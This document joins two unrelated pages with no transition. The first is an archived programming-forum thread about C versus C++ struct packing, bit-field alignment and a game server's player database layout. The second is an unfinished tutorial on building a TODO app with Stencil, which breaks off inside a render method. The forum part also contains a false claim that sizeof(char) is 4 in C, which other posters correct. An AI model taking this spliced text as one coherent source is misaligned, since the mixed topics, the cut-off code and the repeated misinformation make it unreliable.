way bit fields are declared. Using VC6 compiler these two structs have different sizes even with the same packing: The only difference is that in str1 the bit fields were declared as unsigned long, while in str2 they are unsigned short. The size of the structures are the same whether they are compiled as a C (in a *.c file) or C++ (in a C++ file). Personally, I always use byte-align (pack 1) to get the smallest possible size for structures that are transferred between applications, such as database client/server programs. struct str1 { char name[23]; unsigned long b1:1; unsigned long b2:1; int x; char last[21]; }; struct str2 { char name[23]; unsigned short b1:1; unsigned short b2:1; int x; char last[21]; }; AnthonyMai September 11th, 2002, 10:24 AM The problem is probably the sizeof(char) is different in C and C++. In C it is 4 bytes, in C++ it is 1. That's why your C++ structure looks smaller even if you use 8 bytes align versus 4 bytes align. It would help if you can post how your structure is defined. Yves M September 11th, 2002, 10:49 AM sizeof(char) is different in C and C++. In C it is 4 bytes, in C++ it is 1 What are you on about ? sizeof(char) = 1 in both C and C++. You have just failed your interview for C programmer :p DaDB1 September 11th, 2002, 04:41 PM What I meant by bit field alignment is under 'Storage and Alignment of Structures' in the MSDN: "Adjacent bit fields are packed into the same 1-, 2-, or 4-byte allocation unit if the integral types are the same size and if the next bit field fits into the current allocation unit without crossing the boundary imposed by the common alignment requirements of the bit fields. " What I am trying to compemnsate for is the fact that: C compilers: Packs structures on 4-byte boundaries C++ compilers: Packs structures on 8-byte boundaries (default) and even when changing the C++ compiler to use 4-byte boundaries, it fails to properly align the structure bit fields. There are two separate databases I'd like to be able to read with a C++ program. One is the player entries database, the other is the player 'team' (order) database. They both have the same structure member alignment problem, so I won't go into details about the order database. The one displayed here is the player entries database, This database is existing and cannot be remade. It can only be modified locally to be read by a C++ program, and switching of variables is not an option as I intend to write to the file and it needs to remain readable by the original C program afterwards. Possibly adding filler(buffer) bytes as needed to align the structure might be possible, but determining where to add them is a problem. The structure in the existing player database consists of two parts. First a header at the beginning which contains the number of entries that will follow, then each individual entry follows. This is a C program, so some types were defined: typedef unsigned short word; typedef int boolean; Then some relevant enums: enum { TAG_FILE_NAME_LENGTH = 8, MAXIMUM_LOGIN_LENGTH = 15, MAXIMUM_PASSWORD_LENGTH = 15, MAXIMUM_PLAYER_NAME_LENGTH = 31, MAXIMUM_DESCRIPTION_LENGTH = 431, MAXIMUM_NUMBER_OF_GAME_TYPES = 16, MAXIMUM_BUDDIES = 16, MAXIMUM_ORDER_MEMBERS = 16, OLD_MAXIMUM_ORDER_MEMBERS = 32, MAXIMUM_PACKED_PLAYER_DATA_LENGTH = 128, NUMBER_OF_TRACKED_OPPONENTS = 10 }; enum { _overall, _pure, _third_party, MAXIMUM_NUMBER_OF_PURE_MAPS = 128 }; /*----------Header structure-----------*/ struct net_user_db_header { unsigned long player_count; // number of entries unsigned long unused[40]; }; /*----------Entry structure------------*/ struct net_user_db_entry { unsigned long signature; // beginning of each entry struct net_player_datum player; }; /*-------------------------------------*/ The entry structure contains a structure: /*----------Parts of the Entry structure------------*/ struct net_player_datum { unsigned long player_id; char login[MAXIMUM_LOGIN_LENGTH + 1]; char password[MAXIMUM_PASSWORD_LENGTH + 1]; boolean administrator_flag; unsigned int special_flags; boolean player_is_banned_flag; boolean unused_flags[5]; long last_login_ip_address; long last_login_time; long last_game_time; long last_ranked_game_time; long room_id; struct buddy_entry buddies[MAXIMUM_BUDDIES]; short order_index; short icon_index; short icon_collection_name[TAG_FILE_NAME_LENGTH + 1]; char name[MAXIMUM_PLAYER_NAME_LENGTH + 1]; char team_name[MAXIMUM_PLAYER_NAME_LENGTH + 1]; struct rgb_color primary_color, secondary_color; char description[MAXIMUM_DESCRIPTION_LENGTH + 1]; long banned_time; long ban_duration; long times_banned; short country_code; short style; struct net_player_score_datum unranked_score; struct net_player_score_datum ranked_score; struct net_player_score_datum ranked_scores_by_game_type[MAXIMUM_NUMBER_OF_GAME_TYPES]; struct net_player_score_datum pure_ranked_score; struct net_player_score_datum pure_ranked_scores_by_game_type[MAXIMUM_NUMBER_OF_GAME_TYPES]; struct net_player_score_datum third_party_ranked_score; struct net_player_score_datum third_party_ranked_scores_by_game_type[MAXIMUM_NUMBER_OF_GAME_TYPES]; unsigned short games_by_map[MAXIMUM_NUMBER_OF_PURE_MAPS]; }; The net_player_datum structure itself contains other structures: /*----------Parts of the net_player_datum structure------------*/ struct buddy_entry { unsigned long player_id; char active; char c[3]; }; struct rgb_color { word red, green, blue; word flags; }; struct net_player_score_datum short games_played; short wins, losses, ties; long damage_inflicted, damage_received; short disconnects; word pad; short points; short rank; short highest_points; short highest_rank; unsigned long numerical_rank; char unused[16]; }; /*----------EOF------------*/ AnthonyMai September 11th, 2002, 05:56 PM What are you on about ? sizeof(char) = 1 in both C and C++. You have just failed your interview for C programmer sizeof(char) may not be 1 in some old code and old compiler. At some time point they decided that sizeof() of any data type would be the minimum storage required to store the data, so on some system sizeof(char) could be 4. That may have changed. See this thread: [URL=[/URL] AnthonyMai September 11th, 2002, 05:58 PM See this link: () Philip Nicoletti September 11th, 2002, 06:17 PM sizeof(char) = 1 in C++ (always) in C, I thought sizeof(char) = sizeof(int) stober September 11th, 2002, 06:21 PM. stober September 11th, 2002, 06:22 PM Originally posted by Philip Nicoletti sizeof(char) = 1 in C++ (always) in C, I thought sizeof(char) = sizeof(int) Not on the C compilers I used (Lattice C, Microsoft, and Borland). I first learned C in 1980 and it has always been 1 byte on those compilers. Maybe what you have in mind is the number of bytes pushed onto the stack during function calls -- that is different. In that case, 16-bit code pushes 2 bytes and 32-bit programs push 4 bytes because of the increased speed. DaDB1 September 11th, 2002, 09:35 PM Originally posted by stober. Thank you Stober, you hit the nail on the head. I've had problems with structure member alignment in the past, and recieved similar errors then, so I assumed that it was the same problem this time. As far as I know, C doesn't define the boolean or word data types. In my code, boolean is defined as type int. In C++ boolean is defined as unsigned char and BOOL is defined as type int. By making this change I was able to get this thing flying through thousands of entries: #if defined(__cplusplus) #define boolean BOOL #else typedef int boolean; #endif // #if defined(__cplusplus) Thank you very much for the help with this, I might not have thought to look at the typedef's as I thought boolean was defined as an int in C++ in the first place. Thanks again, Alan JamesSchumacher September 11th, 2002, 09:46 PM> DaDB1 September 11th, 2002, 10:10 PM Originally posted by JamesSchumacher> I don't have the option of re-writing the old app (it's 10's of thousands of lines of code), nor do I have the option of re-creating the database it uses. I just wanted to access the database through C++, which now with the typedef change that Stober picked up on and some minor structure packing changes I am now able to do. Thank you all for your help. :) codeguru.com
http://forums.codeguru.com/archive/index.php/t-209156.html
crawl-003
refinedweb
1,689
53.14
26 November 2010 15:33 [Source: ICIS news] LONDON (ICIS)--Both Arkema and Rhodia have completed their initial phase Reach registrations, the companies said in separate statements on Friday. Arkema said it had met EU requirements by registering 140 substances produced or imported in annual quantities of 1,000 tonnes or more a year, as well as those designated as substances of very high concern (SVHC). This represents one third of the 430 substances it produces covered by the Reach regulation, it said. Rhodia said it had registered 74 substances in the first tonnage band, a process that had involved 80 employees and cost €12m ($16m). The company said it pre-registered 736 substances in November 2008 and is prepared for the registration of 130 chemicals in the 100 to 1,000-tonne band by 1 June 2013, and some 500 substances in the 1 to 100 tonne band by 1 June 2018.Arkema added that, based on its major status in a number of key chemical sectors, it had acted as lead registrant in over 60 dossiers. “This initial registration phase has been an opportunity for Arkema to put in place an extensive communication and exchange process with both suppliers and customers, in particular by taking full account of the uses they make of our products,” said Jean Morch, Vice President Safety and Environment. “Much more than a regulation, Reach helps improve comprehensive, systematic and in-depth knowledge of all our products,” he added. Jean-Luc Ponchon, Reach Product Manager at Rhodia, said: “By providing better information about chemicals, this regulation should help the chemical industry to win back the confidence of consumers." Overall in ?xml:namespace> ECHA data on Thursday showed that 15,367 substance dossiers had been registered to date. ($1 = €0.75) Nigel Davis
http://www.icis.com/Articles/2010/11/26/9414443/Arkema-and-Rhodia-complete-Reach-first-phase-registrations.html
CC-MAIN-2014-52
refinedweb
298
53.55
Real Time GraphQL Mutations — Using Apollo Client, React and Optimistic UI Taking your app UX to the next level isn’t an easy task, however choosing the right tools can help you deliver a brilliant experience to your users. A long short story — I’ve always been interested in learning new technologies to improve the websites I developed for a better UI/UX. It seems to be easy to think like that, but it’s actually very hard and sometimes frustration to bring the most value to your users. Almost an year ago I’ve started a project called Askable as a side project at the company I’m currently working for. Since then it started to get traction and it became a very promising project that could be turned out into a company with very hard stakes and challenges to overcome everyday. I still remember the day I was creating the booking form (Basically 5 different pages with loads of options and a Save button in every page) and the head of product Dre Zhou came to me saying that he wanted that form to be “Real Time”. I simply told him: “You know that’s not an easy task, right?” He then replied: “I know, but I know you can do it!”. I did it. In this article I’ll show you how I achieved such a thing. Choose your stack well Take your time. There are a lot of tools available to help us create amazing experiences. Two years ago I was bored and frustrated with the technology I was using and then I decided to step up and study React and React Native. This was by far one of the best decisions I’ve made in my professional life. One year later I was building amazing apps and websites with React and Redux, but got overwhelmed with the amount of code I had to put up. I then decided to step up again and study GraphQL (Mainly because of an article from Peggy Rayzis). Another great professional decision. The beauty of technology comes when you start connecting the all the dots to create amazing products. Tools like Apollo and React are awesome and you should check them out. Anyway, enough talking about me and how I became who I”m today. Let’s go to the fun part… Real-time How can you achieve an experience that products like Medium or Google Docs bring to you? Imagine yourself in a situation where you need to save data while the user is typing. That itself bring lots of questions: - Can my server process HTTP requests in real-time? - Will it crash my server? - Should I make a call every time my state changes? - What happens with the data the server returns? - But, how? The answer is GraphQL, Apollo Client and Optimistic UI. Optimistic UI stands for an operation that fakes your final data and update your state until your network responds back from your server. Final Goal Notice in this example the little status toggle close to the “Next” button. It’s reflecting the real-time changes on the database. Differently to what most people might think, this page doesn’t save the data on the “Next” or “Save & Close” button. In fact, those buttons don’t do anything special, they just redirect the user to a different page. Every change on this page triggers a mutation called updateBooking, and every piece of data is connected to a field returned from a query. These are the steps to get this process up and running: - Setting up your Query - Setting up your Mutation - Connect your Query and Mutation to your component - Make your UI fields rely on your query I’ve included all the fields we are using in production to make this process feel as close as it is in production. (You probably don’t need this level of complexity on your code) Setting up your Query query FetchBookingsById($id: ID) { bookingByID(id: $id) { _id config { type } } } Settings up your Mutation mutation updateBooking($booking_id: ID!, $booking: BookingInput!) { updateBooking(booking_id: $booking_id, booking: $booking) { _id config { type } } } Notice that the returned fields from my mutation are exactly the same from my FetchBookingById query. This is intentional and VERY important to make our Optimistic UI to work. (You can use Fragments if you want to make sure both files are in sync) Connect your Query and Mutation to your component import { graphql, compose } from 'react-apollo'; import fetchBookingById from 'src/queries/booking/fetchBookingById'; import updateBookingDetails from 'src/mutations/booking/updateBookingDetails';... your component code ...const bookingDataContainer = graphql(fetchBookingById, { name: 'bookingData', options: () => ({ variables: { id: booking_id } }) });const updateBookingContainer = graphql(updateBookingDetails, { props: ({ mutate }) => ({ updateBooking: (booking_id, booking) => mutate({ variables: { booking_id, booking }, refetchQueries: [{ query: fetchBookingById, variables: { id: booking_id }, }], optimisticResponse: { updateBooking: { _id: booking_id, config: { type: booking.config.type, __typename: 'BookingConfig' }, __typename: 'Booking' } } }), }) });export default compose( bookingDataContainer, updateBookingContainer )(CreateBookingStepBookingDetails); Make your UI fields rely on your query renderSessionTypesContainer() { return ( <div key="sessionTypesContainer" className="sessionTypesContainer bookingFormAccordion" > <RadioButton name="sessionTypesGroup" onChange={(value) => { this.updateBooking({ booking: { ...this.state.booking, config: { ...this.state.booking.config, type: parseInt(value, 10) } } }); }} value={this.props.bookingData.bookingByID.config.type} values={bookingUtils.sessionTypes()} /> </div> ); } Notice that the value of our component that will render the “Session Times” on our UI is coming from our props. Breaking it down So let’s break down this whole code to understand how each part is playing well with each other. - The page is loaded with a bunch of pre-filled fields. We call them Default Valid fields (Which you can read more about it on our post here) - The user changes the Session Time (which happens on the GIF above) from 1 on 1 interviews to Focus Group. - We update our local state to change the field booking.config.session.type - We call our mutation updateBookingsending along our updated “booking” (Coming from this.state) - Apollo identifies that we are using an Optimistic UI on the mutation, so it returns straight away what we believe it’s going to be the return from our network - We update our UI based on our new props (notice that we connected our mutation to our component via compose) - Once the network request comes back from our server, it will update the component again, as it will receive new props. Advantages of this approach We’ve been getting lots of real good feedback from our users after we adopted this approach of using Optimistic UI with React and Apollo to update UI components. In fact, we’ve seen an increase of 20% on the number of returning clients that started a booking and finished where they left off in the past. This also improved significantly the level of trust we’re building up with clients as they know their information is always saved securely and in real-time. We’ve been running React and GraphQL together in production for a while already, so feel free to get in touch with me if you have any question. Feedbacks are also very welcome.
https://medium.com/@franciscovarisco/real-time-graphql-mutations-using-apollo-client-react-and-optimistic-ui-10e35ec3553e?utm_campaign=Fullstack%2BReact&utm_medium=web&utm_source=Fullstack_React_104
CC-MAIN-2019-30
refinedweb
1,167
59.23
PyPlot: Graphs In Python Notes Get the manual. A brief look at the architecture. Page Contents Newer APIs Useful Links & References - Matplotlib: plotting scipy-lectures.org. Oh man, now that I've found this page, it makes my notes page rather redundant for me LOL. Basics Import the library into your Python script: import matplotlib.pyplot as pl Some people like to import it as plt... I prefer pl. Python's Matplotlib APIs Figure | Axis | Lines | Legend | Creating Plots, Current Figure, Current Axis in Python Python's PyPlot works on the current figure and axis. All commands work to add plot elements to the current figure and axis. The function gca() returns the current axes (Axes object instance). A figure and axes are created by default for any plot if you do not specify anything. Within the figure one default subplot (subplot(111)) is also created by default. It seems the function subplots(), plural is now the prefered way from various posts and comments I've seen... it offers more convenience. Using subplots() you create the layout of subplots in one call and are returned the figure and axes objects (single axis or array if many subplots) for the plot. For example, creating a default graph with one subplot you do the following. fig, ax = pl.subplots(nrows=2) # ax will be an array with 2 axis This is just a little simpler than using the subplot() function where you would do the following. fig = pl.figure(1) ax1 = pl.subplot(211, 1) ax2 = pl.subplot(211, 2) Plot Returns A Set Of Lines The function plt.plot() (and the axis plot function) returns a list of lines (Line2D instances). The line objects have properties settable using the setp() command or as keyword arguments when plot()ing the lines. Some useul properties: For example, when plotting one line a list of size 1, containing one Line2D instance is returned. In the little snippet below I wanted to plot a set of data points and then plot a curve fit to that line, but display the curve fit using the same colour, just different line style: fig, ax = pl.subplots() fig.set_figwidth(15) fig.set_figheight(10) ...<snip>... # # Plot the data points and get the line instance. line, = ax.plot(xSeries, ySeries) # ^ # Note: the comma here to unpack the returned list, otherwise line is # a list, not a Line2D instance ...<snip>... # # Fit two blended guassians to the data set popt_gauss, pcov_gauss = opt.curve_fit( two_gauss_curves, xSeries, ySeries, p0=(1, 70, 1, 1, 80, 1)) h1, u1, s1, h2, u2, s2 = popt_gauss # # Get the colour used for the data set and plot the fitted curve in # the same colour. If we didn't do this the curve fit and data would # be in two separate colours. lc = line.get_color() lineFit, = ax.plot(xSeries, two_gauss_curves(xSeries, *popt_gauss)) # ^ # Note: the comma here to unpack the returned list, otherwise line is # a list, not a Line2D instance ax.axvline(x=u1, linestyle="--", color=lc) ax.axvline(x=u2, linestyle="--", color=lc) ax.text(u1, h1, " h={:.2f}".format(h1), color=lc) ax.text(u2, h2, " h={:.2f}".format(h2), color=lc) # # Set the colour of the curve fit we plotted and the linestyle lineFit.set_color(lc) lineFit.set_linestyle('-.') Set The Figure Size fig.set_figwidth(15) fig.set_figheight(10) Get X/Y Axis Limits Wanted to get the X or Y axis limits as used for the graph. This isn't always the min/max of the axis data series so use the functions get_xlim() and get_lim()... ax.get_xlim() # Get x-axis limits as a tuple (min, max) ax.get_xlim() # Get y-axis limits as a tuple (min, max) Adjust The Major And Minor Grids Inspired by this SO answer. I wanted to be able to increase the ganularity of the the grid so that I could have a guide for every unit increment on the x-axis, as the current grid was a little too "broad". The grid displayed by default just shows guide lines for the major ticks. The solution is to add in minor ticks as well. I wanted to set the minor x-ticks, based on whatever scale pyplot had decided to use for the x-axis, so used get_xlim() to get the x-axis limits. Then using get_xticks() I was able to find the number of major ticks and therefore the gap, in units, between each major tick, and thus create the positions for the minor ticks at unit intervals. The function grid() lets you select whether you show the major, minor, or both ticks and lets you set the transparency of the grid lines as well... fig, ax = pl.subplots() ...<snip data plotting stuff>... # Note: All data series must have been plotted at this point! xAxisMin, xAxisMax = ax.get_xlim() # Get the min/max limits of x-axis as chosen by pyplot to fit data xRange = xAxisMax - xAxisMin numTicks = len(ax.get_xticks()) # Get the number of major ticks on the x-axis majorTickWidth = xRange/(numTicks-1) # Figure out number of units between each tick xMinorTicks = # Create the minor tick positions in x-axis coordinates np.linspace( # and then set them xAxisMin, xAxisMax, (numTicks - 1) * majorTickWidth + 1) ax.set_xticks(xMinorTicks, minor=True) ax.grid(which='minor', alpha=0.5) # Show minor ticks slighly duller than the major ticks ax.grid(which='major', alpha=0.75) View Port Set the axis view port using plt.axis([x-min, x-max, y-min, y-max]) function. Basic Annotation Titles, labels etc Use .title() to set the graph title, .xlabel() tp set the x-axis label, .ylabel() to set the y-axis label and .legend() to add a legend. .grid() also useful to add a grid to plot. Adding Horizontal And Vertical "Guides" Use axvline(x=...) to plot a vertical line across the axes. Use axhline(y=...) to plot a horizontal line across the axes. Get All Axis Lines And Their Labels If, for example, Pandas has plotted your graph and you want to get all the lines and their labels use this... lines = ax.get_lines() labels = [l.get_label() for l in lines] Watch Out For Figure Persistence: Garbage Collection Of Figures! The PyPlot interface to Matplotlib is stateful: it keeps track of every figure that you create so that you can always "get them back" in the Matplotlib style of things. Thus, to allow the garbage collector to free figure objects you must explicitly pyplot.close() them! The following is a little example that shows this behaviour. Note, you might have been fooled into thinking that when the class was deleted, the figure and axis it owned would also be deleted, but as you can see they are not freed, even when garbage collection is forced. This is because PyPlot has its own references to these objects: it keeps track of every figure you create. import matplotlib.pyplot as pl import weakref import gc class A(object): def __init__(self): self.fig, self.ax = pl.subplots() a = A() aref = weakref.ref(a.fig) print "There are {} figs".format(len(pl.get_fignums())) del a a = None print "There are {} figs after del".format(len(pl.get_fignums())) result = gc.collect() print "GC collected {}".format(result) print "Weak ref is... {}".format(aref()) print "There are {} figs after del & GC".format(len(pl.get_fignums())) pl.close(aref()) print "There are {} figs after close".format(len(pl.get_fignums())) result = gc.collect() print "GC collected {}".format(result) print "Weak ref is... {}".format(aref()) If, like me, you thought that the figure would be garbage collected after the del a; gc.collect() statements, you'd be wrong. You have to call pl.close(). Only after that can the figure be garbage collected successfully. The programs output shows this: There are 1 figs There are 1 figs after del GC collected 0 Weak ref is... Figure(640x480) # << The GC has NOT reclaimed the fig There are 1 figs after del & GC There are 0 figs after close GC collected 2965 Weak ref is... None # << The GC has reclaimed the fig Sub Plots Intro To Sub Plots You can split up the figure into many different sub-graphs and these graphs can also share an axis and be laid out in all sorts of manners The following example shows two subplot instances. Both the same except that in the first the x-axis are independent and in the second they are shared... The code used to produce the two graphs above is as follows. import matplotlib.pyplot as pl import numpy as np fig, ax = pl.subplots(nrows=2, sharex=True) fig.subplots_adjust(hspace=0.4) y = np.arange(10) x = np.arange(10) ax[0].plot(x,y) ax[0].set_title("Linear") ax[0].set_xlabel("x-axis") ax[0].set_ylabel("y-axis") ax[1].plot(x*2,y**2) ax[1].set_title("Square") ax[1].set_xlabel("x-axis") ax[1].set_ylabel("y-axis") Very useful is the subplots_adjust() function as I found sometimes the plots were bunched too close. This allows one to set the padding between plots and more... Adjusting Subplot Positioning Bar Graphs Here I wanted to create a bar graph of cross-correlation scores. Above the top threshold I wanted the bars to be one colour, between the top and a medium theshold I wanted the bars another colour, below the minimum threshold yet another colour and everything else in a different colour. I also wanted the bar labels to be in the middle of the bars and for the text to be vertically stacked. import matplotlib.pyplot as pl import numpy as np ycol = [x for x in 'abcdefghijklmnopqrst'] corr = np.linspace(0,20, len(ycol)) / 20 bar_coords = np.arange(corr.size, dtype='float64') bar_width = 1.0 # Note must have suffix '.0' to make it # float otherwise div/2 is zero! fig, ax = pl.subplots() ax.set_ylabel("Correlation score") ax.set_xlabel("Sample string thing") ax.set_title("Some correlations") # # Create the bar graph... list of bars in graph returned bars = ax.bar(bar_coords, corr, width=bar_width) # ^ ^ ^ # ^ ^ scalar width of each bar # ^ heights of the bars # x corrdinates of left sides of bars # # Set the location of the x-axis bar labels to the center # of each bar and rotate the text so it is vertical ax.set_xticks(bar_coords + bar_width/2) # Set xticks locations to center of bar ax.set_xticklabels(ycol, rotation=90, fontsize=8) # Set xtick labels # # Define thresholds for bar colouring... upper_thresh = 0.9 middle_upper_thresh = 0.75 middle_lower_thresh = 0.6 lower_thresh = 0.2 # # Draw thresholds on axes... ax.axhline(y=upper_thresh, color='red') ax.axhline(y=middle_upper_thresh, color='yellow') ax.axhline(y=middle_lower_thresh, color='yellow') ax.axhline(y=lower_thresh, color='blue') # # Colour the bars based on areas/thresholds of interest.... for bar in bars: height = bar.get_height() if height >= upper_thresh: bar.set_facecolor('red') elif height >= middle_lower_thresh and height <= middle_upper_thresh: bar.set_facecolor('yellow') elif height <= lower_thresh: bar.set_facecolor('blue') else: bar.set_facecolor('gray') This produces the following plot... Save Figure To File-Like Object Buffer Sometimes, rather than saving a figure to a file, it is useful to save it to an in-memory file like object. The reason for this is that you might want to pass the image to some API without having to save it to a file. For example you might be using docx to save the image as part of a MS Word document. The docx function add_picture() accepts either a file name or file-like object. So, to avoid creating the temporary image file you would do the following: import io # ... snip ... buf = io.BytesIO() fig.savefig(buf, format='png') xdoc.add_picture(buf, width=Inches(6.0)) Scatter Plots Create the graph as you normally would with fig, ax = pl.subplots(). Then plot the scatter point using ax.scatter([x], [y], color=colour, alpha=alpha, scale=scale, label=label). If you plot all the points in one go per label, then the legend works as you expect... there is one entry for each colour with the colour's label displayed. However, if you've added the scatter data point by point (which maybe isn't the thing to do?!), the legend will not group by colour but will display a separate entry for each scatter point. To fix the legend in this case you need to see the section on "Arbitrary Legends". Legends Arbitrary Legends Made a scatter plot with coloured groups, but unfortunately plotted it point by point rather than passing arrays of points to scatterplot(), which may have been the wrong thing to do, butit was easier. Say there were 3 groups, one for a positive test, one for a negative and one for an equivocal result. How do I create an arbitrary legend with entries that are not related to a specific object in my graph? The SO user "hooy" answered it perflectly here. It is also very woth while reading the MatplotLib Legend Guide. In summary it appears, whilst you can draw arbitary objects like a Circle onto a graph, you cannot draw arbitary objects onto the legend. An artist has to be created as he describes in his thread. Based on his example I had the following. import matplotlib.pyplot as pl import matplotlib.lines as mlines ... snip ... pos_patch = mlines.Line2D([0], [0], markerfacecolor='green', marker='o', color="white", label='Resistant') neg_patch = mlines.Line2D([0], [0], markerfacecolor='blue', marker='o', color="white", label='Sensitive') fail_patch = mlines.Line2D([0], [0], markerfacecolor='red', marker='o', color="white", label='No signal') unsure_patch = mlines.Line2D([0], [0], markerfacecolor='purple', marker='o', color="white", label='Equivocal') ax.legend(handles=[pos_patch, neg_patch, unsure_patch], numpoints=1) The interesting thing, that other posts seemed to miss out was passing numpoints=1 to legend(). If you don't pass this is you get an annoying double circle. Modifying The Legend Font Often I want the legend to take up less space. To do this, make the font smaller as follows: from matplotlib.font_manager import FontProperties # ... snip ... fontP = FontProperties() fontP.set_size('small') # ... do some plotting ... ax.legend(..., prop=fontP) Layout And Position You can specify the number of columns for the legend layout using ncol=. You can specify where in the graph the legend is plotted using bbox_to_anchor= and loc=. bbox_to_anchor describes where in the plot the edge specified by loc will be placed. The coordinate system is [0, 1], i.e., the coordinates are normalised across the extent of the graph and so are independent of the x/y coordinate system used for the plot itself. For example, bbox_to_anchor=[0.5, 1.0], loc='upper center' Tells pyplot to put the center of the upper edge of the legend box exactly half way along the graph horizontally and right at the top vertically. Embedd In pyWidgets Apps
https://jehtech.com/python/pyplot.html
CC-MAIN-2021-25
refinedweb
2,448
67.76
Creating a TODO application using Stencil Stencil arrived some months ago as the web revolution. Even for Ionic experts, the transition to this technology can seem quite complicated. At the moment and until Ionic 4 is out, Stencil's full potential is not yet known. It's fast and it works everywhere, that's all we know. In this tutorial, we will use Stencil to create a TODO application.Even if you have already mastered Ionic and Angular, Stencil might be quite a change. Ionic 4 will grab your Angular/ React / Vue code and generate Stencil code. As I predicted two years ago for Angular 2, most of the documentation and code today is written in TypeScript. This is due to Google and Microsoft pushing this technology. I will make the same prediction and assume that next year, once Ionic will be framework-agnostic, React and Vue developers will come in and Stencil code will be dominent. That's why we can't only focus on learning Angular for Ionic. The TODO application that we will create will showcase most of Stencil's current toolbox: - Usage of Props, States - Communication between a TodoList and Todo Component through an EventEmitter - Template bindings, if, for - HTML events like onChange, onClick, onDblClick - Using a child Component So, take your time to understand each part and you will be Stencil-ready! We start by cloning the Stencil app starter project and install the deps: git clone stencil-todo-app npm i npm start At the moment, there are no Stencil CLI. However, we can expect one to come soon. Let's start with some clean up. Clean up A MyName Component is already there, but we don't want this: Or this: @Component({ tag: 'my-name', styleUrl: 'my-name.scss' }) export class MyName { ... } The whole components are bootstrapped in the components.d.ts file: /** * This is an autogenerated file created by the Stencil build process. * It contains typing information for all components that * exist in this project * and imports for stencil collections that * might be configured in your stencil.config.js file */ import '@stencil/router'; import { MyName as MyName } from './components/my-name/my-name'; interface HTMLMyNameElement extends MyName, HTMLElement { } declare var HTMLMyNameElement: { prototype: HTMLMyNameElement; new (): HTMLMyNameElement; }; declare global { interface HTMLElementTagNameMap { "my-name": HTMLMyNameElement; } interface ElementTagNameMap { "my-name": HTMLMyNameElement; } namespace JSX { interface IntrinsicElements { "my-name": JSXElements.MyNameAttributes; } } namespace JSXElements { export interface MyNameAttributes extends HTMLAttributes { first?: any, last?: any } } } This is quite similar to an Ionic or Angular app.module.ts file. Let's start by changing the files names: And the Component: import { Component, Prop } from '@stencil/core'; @Component({ tag: 'todo-list', styleUrl: 'todo-list.scss' }) export class TodoList { ... } The build process will detect the changes and automatically update the component.d.ts file for us, which is really awesome (would love to get the same for Angular and Ionic). /** * This is an autogenerated file created by the Stencil build process. * It contains typing information for all components that exist in this project * and imports for stencil collections that might be configured in * your stencil.config.js file */ import '@stencil/router'; import { TodoList as TodoList } from './components/todo-list/todo-list'; interface HTMLTodoListElement extends TodoList, HTMLElement { } declare var HTMLTodoListElement: { prototype: HTMLTodoListElement; new (): HTMLTodoListElement; }; declare global { interface HTMLElementTagNameMap { "todo-list": HTMLTodoListElement; } interface ElementTagNameMap { "todo-list": HTMLTodoListElement; } namespace JSX { interface IntrinsicElements { "todo-list": JSXElements.TodoListAttributes; } } namespace JSXElements { export interface TodoListAttributes extends HTMLAttributes { mode?: string, color?: string, first?: string, last?: string } } } The last modification is located in the stencil.config.js file: exports.config = { bundles: [{ components: ["todo-list"] }], collections: [{ name: "@stencil/router" }] }; The TodoList Component We can finally get to work, starting with the todo-list.tsx file: import { Component, State, Listen } from '@stencil/core'; @Component({ tag: 'todo-list', styleUrl: 'todo-list.scss' }) export class TodoList { @State() todos: any; @State() newTodo; componentWillLoad() { this.todos = [{ id: 1, value: 2 }]; } ... } We grab all the Decorators we will need: - Component: To create a Component - State: To create a property, it's similar to an Ionic or Angular Class property - Listen: That will later allow us to acquire events from a Todo child Component The todos State is created with information for one Todo Component. Our TodoList Component will create some Todo that will contact it when some changes will happen, like this: This todos State is instantiated in the componentWillLoad Hook, just like Angular and Ionic, Stencil has Hooks, they are documented on the official website. If we make the comparison with Ionic or Angular, the TodoList Component needs a template. We are using TSX, the HTML information will be created in a render method: render() { return ( <div> <input onChange={e => this.updateNewTodo(e.target)}/> <ul> {this.todos.map((todo) => { return <my-todo value={todo.value} id={todo.id}></my-todo> })} </ul> </div> ); } TSX allows us to mix HTML and JavaScript together, unlike Angular that has its own ngIf, ngFor tags, here we don't have anything. Everything is done by using JavaScript. If you come from React, that shouldn't be surprising, if not ... well it's awkward and also a good thing. It can be weird mixing together HTML and JS, a bit like using PHP tags with HTML. However, we don't waste time: - Learning the syntax: It will always be JavaScript, there won't be any changes on the whim of the authors - Going through the documentation trying to understand what the authors wanted to do and how the tag should be used HTML Components have their own events, all of us already used onClick, onKeyUp, etc. All of them are listed there. Let's start with input: <input onChange={e => this.updateNewTodo(e.target)}/> The onChange event is used. Years ago, when I learned Angular, as a beginner it was quite a dilemn choosing between {{}}, "", "{{}}", etc. With Stencil, the curly brackets ({}) are used when we want an expression to be interpreted and the double quotes ("") are used to pass a string. onChange will give us an event. We are going to pass this event’s target to the updateNewTodo method. As you can see, the big fat arrow is used here, this allows us to keep using the same “this” object. We can also do this: <input onChange={this.updateNewTodo().bind(this)}/> However, I’m not a big fan of the bind(this) method (+ we don’t get the event here). The last part of the template: <ul> {this.todos.map((todo) => { return <my-todo value={todo.value} id={todo.id}></my-todo> })} </ul> By using the map method, we can loop through the todos State. This must be enclosed by brackets. This syntax can be compared to PHP: echo "Hello world"; The return here is the cousin of echo. The The render method is now complete. We can now add the updateNewTodo method: updateNewTodo(newTodo) { this.todos = [...this.todos, { id: Date.now(), value: newTodo.value }]; } As Stencil’s documentation states: If we just push the newTodo State in the todos State, Stencil won’t update the template. We have to create a new Array that contains the current todos information and the newTodo information by using the spread operator. We will now move to the Todo Component, we will finish the TodoList Component later. The Todo Component Starting with the imports and initializations: import { Component, Prop, State } from '@stencil/core'; import { Event, EventEmitter } from '@stencil/core'; @Component({ tag: 'my-todo', styleUrl: 'todo.scss' }) export class Todo { @Event() removeTodo: EventEmitter; @Event() updateTodo: EventEmitter; @Prop() value: string; @Prop() id: string; @State() isEditable = false; ... } Event and Event Emitter will be used to send custom DOM Events, events that the TodoList will be listening for. Those events will be removeTodo and updateTodo. value and id are Props, those are information received from the parent Component: TodoList. We can’t use a State to acquire those information. It’s very important to note that Props can’t be modified by default (passing {mutable: true} to the Prop Decorator can flip the switch). The TodoList will receive the information (by listening for an event) that a todo needs some changes and update its todos State. After this update, the TodoList will re-render and recreate the Todo Components. Finally, the isEditable State that will act as a toggleable flag impacting the rendered information. Here is the method that will act on this State: toggleEdition = () => { this.isEditable = !this.isEditable; }; Let’s tackle the render method: render() { let todoTemplate; if (!this.isEditable) { todoTemplate = <div> {this.value} <button onClick = {this.removeThisTodo}> X </button> </div> } else { todoTemplate = <div> <input value={this.value} onKeyDown={this.handleKeyDown} /> </div> 